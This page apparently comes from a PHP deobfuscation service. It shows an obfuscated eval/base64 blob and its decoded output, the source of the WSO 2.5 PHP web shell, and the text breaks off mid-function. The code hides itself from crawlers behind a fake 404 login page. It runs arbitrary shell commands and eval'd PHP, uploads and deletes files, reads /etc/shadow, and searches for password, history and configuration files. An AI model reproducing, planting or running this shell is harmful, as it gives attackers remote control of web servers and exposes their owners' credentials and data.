Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(str_rot13(base64_decode('a5zlfX1/E7fS6N/hRihbn65dHMdpgFCT2CSEBE8hoWwBCuF..

Decoded Output download

$color = "#df5";
	$default_action = 'FilesMan';
	$default_use_ajax = true;
	$default_charset = 'Windows-1251';

	if(!empty($_SERVER['HTTP_USER_AGENT'])) {
		$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
			header('HTTP/1.0 404 Not Found');
			exit;
		}
	}

	@ini_set('error_log',NULL);
	@ini_set('log_errors',0);
	@ini_set('max_execution_time',0);
	@set_time_limit(0);
	@set_magic_quotes_runtime(0);
	@define('WSO_VERSION', '2.5');

	if(get_magic_quotes_gpc()) {
		function WSOstripslashes($array) {
			return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
		}
		$_POST = WSOstripslashes($_POST);
		$_COOKIE = WSOstripslashes($_COOKIE);
	}

function wsoLogin() {
    die("<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <pre align=center>
    <form method=post>
    <input type=password name=pass>
    </form></pre>");
}
	function WSOsetcookie($k, $v) {
		$_COOKIE[$k] = $v;
		setcookie($k, $v);
	}

	if(!empty($auth_pass)) {
		if(isset($_POST['pass']) && ($_POST['pass'] == $auth_pass))
			WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

		if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
			wsoLogin();
	}

	if(strtolower(substr(PHP_OS,0,3)) == "win")
		$os = 'win';
	else
		$os = 'nix';

	$safe_mode = @ini_get('safe_mode');
	if(!$safe_mode)
		error_reporting(0);

	$disable_functions = @ini_get('disable_functions');
	$home_cwd = @getcwd();
	if(isset($_POST['c']))
		@chdir($_POST['c']);
	$cwd = @getcwd();
	if($os == 'win') {
		$home_cwd = str_replace("\", "/", $home_cwd);
		$cwd = str_replace("\", "/", $cwd);
	}
	if($cwd[strlen($cwd)-1] != '/')
		$cwd .= '/';

	if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
		$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

	if($os == 'win')
		$aliases = array(
			"List Directory" => "dir",
			"Find index.php in current dir" => "dir /s /w /b index.php",
			"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
			"Show active connections" => "netstat -an",
			"Show running services" => "net start",
			"User accounts" => "net user",
			"Show computers" => "net view",
			"ARP Table" => "arp -a",
			"IP Configuration" => "ipconfig /all"
		);
	else
		$aliases = array(
			"List dir" => "ls -lha",
			"list file attributes on a Linux second extended file system" => "lsattr -va",
			"show opened ports" => "netstat -an | grep -i listen",
			"process status" => "ps aux",
			"Find" => "",
			"find all suid files" => "find / -type f -perm -04000 -ls",
			"find suid files in current dir" => "find . -type f -perm -04000 -ls",
			"find all sgid files" => "find / -type f -perm -02000 -ls",
			"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
			"find config.inc.php files" => "find / -type f -name config.inc.php",
			"find config* files" => "find / -type f -name \"config*\"",
			"find config* files in current dir" => "find . -type f -name \"config*\"",
			"find all writable folders and files" => "find / -perm -2 -ls",
			"find all writable folders and files in current dir" => "find . -perm -2 -ls",
			"find all service.pwd files" => "find / -type f -name service.pwd",
			"find service.pwd files in current dir" => "find . -type f -name service.pwd",
			"find all .htpasswd files" => "find / -type f -name .htpasswd",
			"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
			"find all .bash_history files" => "find / -type f -name .bash_history",
			"find .bash_history files in current dir" => "find . -type f -name .bash_history",
			"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
			"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
			"Locate" => "",
			"locate httpd.conf files" => "locate httpd.conf",
			"locate vhosts.conf files" => "locate vhosts.conf",
			"locate proftpd.conf files" => "locate proftpd.conf",
			"locate psybnc.conf files" => "locate psybnc.conf",
			"locate my.conf files" => "locate my.conf",
			"locate admin.php files" =>"locate admin.php",
			"locate cfg.php files" => "locate cfg.php",
			"locate conf.php files" => "locate conf.php",
			"locate config.dat files" => "locate config.dat",
			"locate config.php files" => "locate config.php",
			"locate config.inc files" => "locate config.inc",
			"locate config.inc.php" => "locate config.inc.php",
			"locate config.default.php files" => "locate config.default.php",
			"locate config* files " => "locate config",
			"locate .conf files"=>"locate '.conf'",
			"locate .pwd files" => "locate '.pwd'",
			"locate .sql files" => "locate '.sql'",
			"locate .htpasswd files" => "locate '.htpasswd'",
			"locate .bash_history files" => "locate '.bash_history'",
			"locate .mysql_history files" => "locate '.mysql_history'",
			"locate .fetchmailrc files" => "locate '.fetchmailrc'",
			"locate backup files" => "locate backup",
			"locate dump files" => "locate dump",
			"locate priv files" => "locate priv"
		);

	function wsoHeader() {
		if(empty($_POST['charset']))
			$_POST['charset'] = $GLOBALS['default_charset'];
		global $color;
		echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
	<style>
	body{background-color:#444;color:#e1e1e1;}
	body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
	table.info{ color:#fff;background-color:#222; }
	span,h1,a{ color: $color !important; }
	span{ font-weight: bolder; }
	h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
	div.content{ padding: 5px;margin-left:5px;background-color:#333; }
	a{ text-decoration:none; }
	a:hover{ text-decoration:underline; }
	.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
	.bigarea{ width:100%;height:300px; }
	input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
	form{ margin:0px; }
	#toolsTbl{ text-align:center; }
	.toolsInp{ width: 300px }
	.main th{text-align:left;background-color:#5e5e5e;}
	.main tr:hover{background-color:#5e5e5e}
	.l1{background-color:#444}
	.l2{background-color:#333}
	pre{font-family:Courier,Monospace;}
	</style>
	<script>
		var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
		var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
		var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
		var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
		var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
		var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
		var d = document;
		function set(a,c,p1,p2,p3,charset) {
			if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
			if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
			if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
			if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
			if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
			if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		}
		function g(a,c,p1,p2,p3,charset) {
			set(a,c,p1,p2,p3,charset);
			d.mf.submit();
		}
		function a(a,c,p1,p2,p3,charset) {
			set(a,c,p1,p2,p3,charset);
			var params = 'ajax=true';
			for(i=0;i<d.mf.elements.length;i++)
				params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
			sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
		}
		function sr(url, params) {
			if (window.XMLHttpRequest)
				req = new XMLHttpRequest();
			else if (window.ActiveXObject)
				req = new ActiveXObject('Microsoft.XMLHTTP');
			if (req) {
				req.onreadystatechange = processReqChange;
				req.open('POST', url, true);
				req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
				req.send(params);
			}
		}
		function processReqChange() {
			if( (req.readyState == 4) )
				if(req.status == 200) {
					var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
					var arr=reg.exec(req.responseText);
					eval(arr[2].substr(0, arr[1]));
				} else alert('Request error!');
		}
	</script>
	<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
	<form method=post name=mf style='display:none;'>
	<input type=hidden name=a>
	<input type=hidden name=c>
	<input type=hidden name=p1>
	<input type=hidden name=p2>
	<input type=hidden name=p3>
	<input type=hidden name=charset>
	</form>";
		$freeSpace = @diskfreespace($GLOBALS['cwd']);
		$totalSpace = @disk_total_space($GLOBALS['cwd']);
		$totalSpace = $totalSpace?$totalSpace:1;
		$release = @php_uname('r');
		$kernel = @php_uname('s');
		$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
		if(strpos('Linux', $kernel) !== false)
			$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
		else
			$explink .= urlencode($kernel . ' ' . substr($release,0,3));
		if(!function_exists('posix_getegid')) {
			$user = @get_current_user();
			$uid = @getmyuid();
			$gid = @getmygid();
			$group = "?";
		} else {
			$uid = @posix_getpwuid(posix_geteuid());
			$gid = @posix_getgrgid(posix_getegid());
			$user = $uid['name'];
			$uid = $uid['uid'];
			$group = $gid['name'];
			$gid = $gid['gid'];
		}

		$cwd_links = '';
		$path = explode("/", $GLOBALS['cwd']);
		$n=count($path);
		for($i=0; $i<$n-1; $i++) {
			$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
			for($j=0; $j<=$i; $j++)
				$cwd_links .= $path[$j].'/';
			$cwd_links .= "\")'>".$path[$i]."/</a>";
		}

		$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
		$opt_charsets = '';
		foreach($charsets as $item)
			$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

		$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
		if(!empty($GLOBALS['auth_pass']))
			$m['Logout'] = 'Logout';
		$m['Self remove'] = 'SelfRemove';
		$menu = '';
		foreach($m as $k => $v)
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

		$drives = "";
		if($GLOBALS['os'] == 'win') {
			foreach(range('c','z') as $drive)
			if(is_dir($drive.':\'))
				$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
		}
		echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
		   . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
		   . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
		   . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
		   . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
	}

	function wsoFooter() {
		$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
		echo "
	</div>
	<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
		<tr>
			<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
			<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
		</tr><tr>
			<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
			<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
		</tr><tr>
			<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
			<td><form method='post' ENCTYPE='multipart/form-data'>
			<input type=hidden name=a value='FilesMAn'>
			<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
			<input type=hidden name=p1 value='uploadFile'>
			<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
			<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
		</tr></table></div></body></html>";
	}

	if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
		function posix_getpwuid($p) {return false;} }
	if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
		function posix_getgrgid($p) {return false;} }

	function wsoEx($in) {
		$out = '';
		if (function_exists('exec')) {
			@exec($in,$out);
			$out = @join("
",$out);
		} elseif (function_exists('passthru')) {
			ob_start();
			@passthru($in);
			$out = ob_get_clean();
		} elseif (function_exists('system')) {
			ob_start();
			@system($in);
			$out = ob_get_clean();
		} elseif (function_exists('shell_exec')) {
			$out = shell_exec($in);
		} elseif (is_resource($f = @popen($in,"r"))) {
			$out = "";
			while(!@feof($f))
				$out .= fread($f,1024);
			pclose($f);
		}
		return $out;
	}

	function wsoViewSize($s) {
		if($s >= 1073741824)
			return sprintf('%1.2f', $s / 1073741824 ). ' GB';
		elseif($s >= 1048576)
			return sprintf('%1.2f', $s / 1048576 ) . ' MB';
		elseif($s >= 1024)
			return sprintf('%1.2f', $s / 1024 ) . ' KB';
		else
			return $s . ' B';
	}

	function wsoPerms($p) {
		if (($p & 0xC000) == 0xC000)$i = 's';
		elseif (($p & 0xA000) == 0xA000)$i = 'l';
		elseif (($p & 0x8000) == 0x8000)$i = '-';
		elseif (($p & 0x6000) == 0x6000)$i = 'b';
		elseif (($p & 0x4000) == 0x4000)$i = 'd';
		elseif (($p & 0x2000) == 0x2000)$i = 'c';
		elseif (($p & 0x1000) == 0x1000)$i = 'p';
		else $i = 'u';
		$i .= (($p & 0x0100) ? 'r' : '-');
		$i .= (($p & 0x0080) ? 'w' : '-');
		$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
		$i .= (($p & 0x0020) ? 'r' : '-');
		$i .= (($p & 0x0010) ? 'w' : '-');
		$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
		$i .= (($p & 0x0004) ? 'r' : '-');
		$i .= (($p & 0x0002) ? 'w' : '-');
		$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
		return $i;
	}

	function wsoPermsColor($f) {
		if (!@is_readable($f))
			return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
		elseif (!@is_writable($f))
			return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
		else
			return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
	}

	function wsoScandir($dir) {
		if(function_exists("scandir")) {
			return scandir($dir);
		} else {
			$dh  = opendir($dir);
			while (false !== ($filename = readdir($dh)))
				$files[] = $filename;
			return $files;
		}
	}

	function wsoWhich($p) {
		$path = wsoEx('which ' . $p);
		if(!empty($path))
			return $path;
		return false;
	}

	function actionSecInfo() {
		wsoHeader();
		echo '<h1>Server security information</h1><div class=content>';
		function wsoSecParam($n, $v) {
			$v = trim($v);
			if($v) {
				echo '<span>' . $n . ': </span>';
				if(strpos($v, "
") === false)
					echo $v . '<br>';
				else
					echo '<pre class=ml1>' . $v . '</pre>';
			}
		}

		wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
		if(function_exists('apache_get_modules'))
			wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
		wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
		wsoSecParam('Open base dir', @ini_get('open_basedir'));
		wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
		wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
		wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
		$temp=array();
		if(function_exists('mysql_get_client_info'))
			$temp[] = "MySql (".mysql_get_client_info().")";
		if(function_exists('mssql_connect'))
			$temp[] = "MSSQL";
		if(function_exists('pg_connect'))
			$temp[] = "PostgreSQL";
		if(function_exists('oci_connect'))
			$temp[] = "Oracle";
		wsoSecParam('Supported databases', implode(', ', $temp));
		echo '<br>';

		if($GLOBALS['os'] == 'nix') {
				wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
				wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
				wsoSecParam('OS version', @file_get_contents('/proc/version'));
				wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
				if(!$GLOBALS['safe_mode']) {
					$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
					$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
					$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
					echo '<br>';
					$temp=array();
					foreach ($userful as $item)
						if(wsoWhich($item))
							$temp[] = $item;
					wsoSecParam('Userful', implode(', ',$temp));
					$temp=array();
					foreach ($danger as $item)
						if(wsoWhich($item))
							$temp[] = $item;
					wsoSecParam('Danger', implode(', ',$temp));
					$temp=array();
					foreach ($downloaders as $item)
						if(wsoWhich($item))
							$temp[] = $item;
					wsoSecParam('Downloaders', implode(', ',$temp));
					echo '<br/>';
					wsoSecParam('HDD space', wsoEx('df -h'));
					wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
					echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
					if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
						$temp = "";
						for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
							$uid = @posix_getpwuid($_POST['p2']);
							if ($uid)
								$temp .= join(':',$uid)."
";
						}
						echo '<br/>';
						wsoSecParam('Users', $temp);
					}
				}
		} else {
			wsoSecParam('OS Version',wsoEx('ver'));
			wsoSecParam('Account Settings',wsoEx('net accounts'));
			wsoSecParam('User Accounts',wsoEx('net user'));
		}
		echo '</div>';
		wsoFooter();
	}

	function actionPhp() {
		if(isset($_POST['ajax'])) {
			WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
			ob_start();
			eval($_POST['p1']);
			$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
			echo strlen($temp), "
", $temp;
			exit;
		}
		if(empty($_POST['ajax']) && !empty($_POST['p1']))
			WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

		wsoHeader();
		if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
			echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
			ob_start();
			phpinfo();
			$tmp = ob_get_clean();
			$tmp = preg_replace(array (
				'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
				'!td, th {(.*)}!msiU',
				'!<img[^>]+>!msiU',
			), array (
				'',
				'.e, .v, .h, .h th {$1}',
				''
			), $tmp);
			echo str_replace('<h1','<h2', $tmp) .'</div><br>';
		}
		echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
		echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
		if(!empty($_POST['p1'])) {
			ob_start();
			eval($_POST['p1']);
			echo htmlspecialchars(ob_get_clean());
		}
		echo '</pre></div>';
		wsoFooter();
	}

	function actionFilesMan() {
		if (!empty ($_COOKIE['f']))
			$_COOKIE['f'] = @unserialize($_COOKIE['f']);

		if(!empty($_POST['p1'])) {
			switch($_POST['p1']) {
				case 'uploadFile':
					if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
						echo "Can't upload file!";
					break;
				case 'mkdir':
					if(!@mkdir($_POST['p2']))
						echo "Can't create new dir";
					break;
				case 'delete':
					function deleteDir($path) {
						$path = (substr($path,-1)=='/') ? $path:$path.'/';
						$dh  = opendir($path);
						while ( ($item = readdir($dh) ) !== false) {
							$item = $path.$item;
							if ( (basename($item) == "..") || (basename($item) == ".") )
								continue;
							$type = filetype($item);
							if ($type == "dir")
								deleteDir($item);
							else
								@unlink($item);
						}
						closedir($dh);
						@rmdir($path);
					}
					if(is_array(@$_POST['f']))
						foreach($_POST['f'] as $f) {
							if($f == '..')
								continue;
							$f = urldecode($f);
							if(is_dir($f))
								deleteDir($f);
							else
								@unlink($f);
						}
					break;
				case 'paste':
					if($_COOKIE['act'] == 'copy') {
						function copy_paste($c,$s,$d){
							if(is_dir($c.$s)){
								mkdir($d.$s);
								$h = @opendir($c.$s);
								while (($f = @readdir($h)) !== false)
									if (($f != ".") and ($f != ".."))
										copy_paste($c.$s.'/',$f, $d.$s.'/');
							} elseif(is_file($c.$s))
								@copy($c.$s, $d.$s);
						}
						foreach($_COOKIE['f'] as $f)
							copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
					} elseif($_COOKIE['act'] == 'move') {
						function move_paste($c,$s,$d){
							if(is_dir($c.$s)){
								mkdir($d.$s);
								$h = @opendir($c.$s);
								while (($f = @readdir($h)) !== false)
									if (($f != ".") and ($f != ".."))
										copy_paste($c.$s.'/',$f, $d.$s.'/');
							} elseif(@is_file($c.$s))
								@copy($c.$s, $d.$s);
						}
						foreach($_COOKIE['f'] as $f)
							@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
					} elseif($_COOKIE['act'] == 'zip') {
						if(class_exists('ZipArchive')) {
							$zip = new ZipArchive();
							if ($zip->open($_POST['p2'], 1)) {
								chdir($_COOKIE['c']);
								foreach($_COOKIE['f'] as $f) {
									if($f == '..')
										continue;
									if(@is_file($_COOKIE['c'].$f))
										$zip->addFile($_COOKIE['c'].$f, $f);
									elseif(@is_dir($_COOKIE['c'].$f)) {
										$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
										foreach ($iterator as $key=>$value) {
											$zip->addFile(realpath($key), $key);
										}
									}
								}
								chdir($GLOBALS['cwd']);
								$zip->close();
							}
						}
					} elseif($_COOKIE['act'] == 'unzip') {
						if(class_exists('ZipArchive')) {
							$zip = new ZipArchive();
							foreach($_COOKIE['f'] as $f) {
								if($zip->open($_COOKIE['c'].$f)) {
									$zip->extractTo($GLOBALS['cwd']);
									$zip->close();
								}
							}
						}
					} elseif($_COOKIE['act'] == 'tar') {
						chdir($_COOKIE['c']);
						$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
						wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
						chdir($GLOBALS['cwd']);
					}
					unset($_COOKIE['f']);
					setcookie('f', '', time() - 3600);
					break;
				default:
					if(!empty($_POST['p1'])) {
						WSOsetcookie('act', $_POST['p1']);
						WSOsetcookie('f', serialize(@$_POST['f']));
						WSOsetcookie('c', @$_POST['c']);
					}
					break;
			}
		}
		wsoHeader();
		echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
		$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
		if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
		global $sort;
		$sort = array('name', 1);
		if(!empty($_POST['p1'])) {
			if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
				$sort = array($match[1], (int)$match[2]);
		}
	echo "<script>
		function sa() {
			for(i=0;i<d.files.elements.length;i++)
				if(d.files.elements[i].type == 'checkbox')
					d.files.elements[i].checked = d.files.elements[0].checked;
		}
	</script>
	<table width='100%' class='main' cellspacing='0' cellpadding='2'>
	<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
		$dirs = $files = array();
		$n = count($dirContent);
		for($i=0;$i<$n;$i++) {
			$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
			$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
			$tmp = array('name' => $dirContent[$i],
						 'path' => $GLOBALS['cwd'].$dirContent[$i],
						 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
						 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
						 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
						 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
						 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
						);
			if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
				$files[] = array_merge($tmp, array('type' => 'file'));
			elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
				$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
			elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
				$dirs[] = array_merge($tmp, array('type' => 'dir'));
		}
		$GLOBALS['sort'] = $sort;
		function wsoCmp($a, $b) {
			if($GLOBALS['sort'][0] != 'size')
				return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
			else
				return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
		}
		usort($files, "wsoCmp");
		usort($dirs, "wsoCmp");
		$files = array_merge($dirs, $files);
		$l = 0;
		foreach($files as $f) {
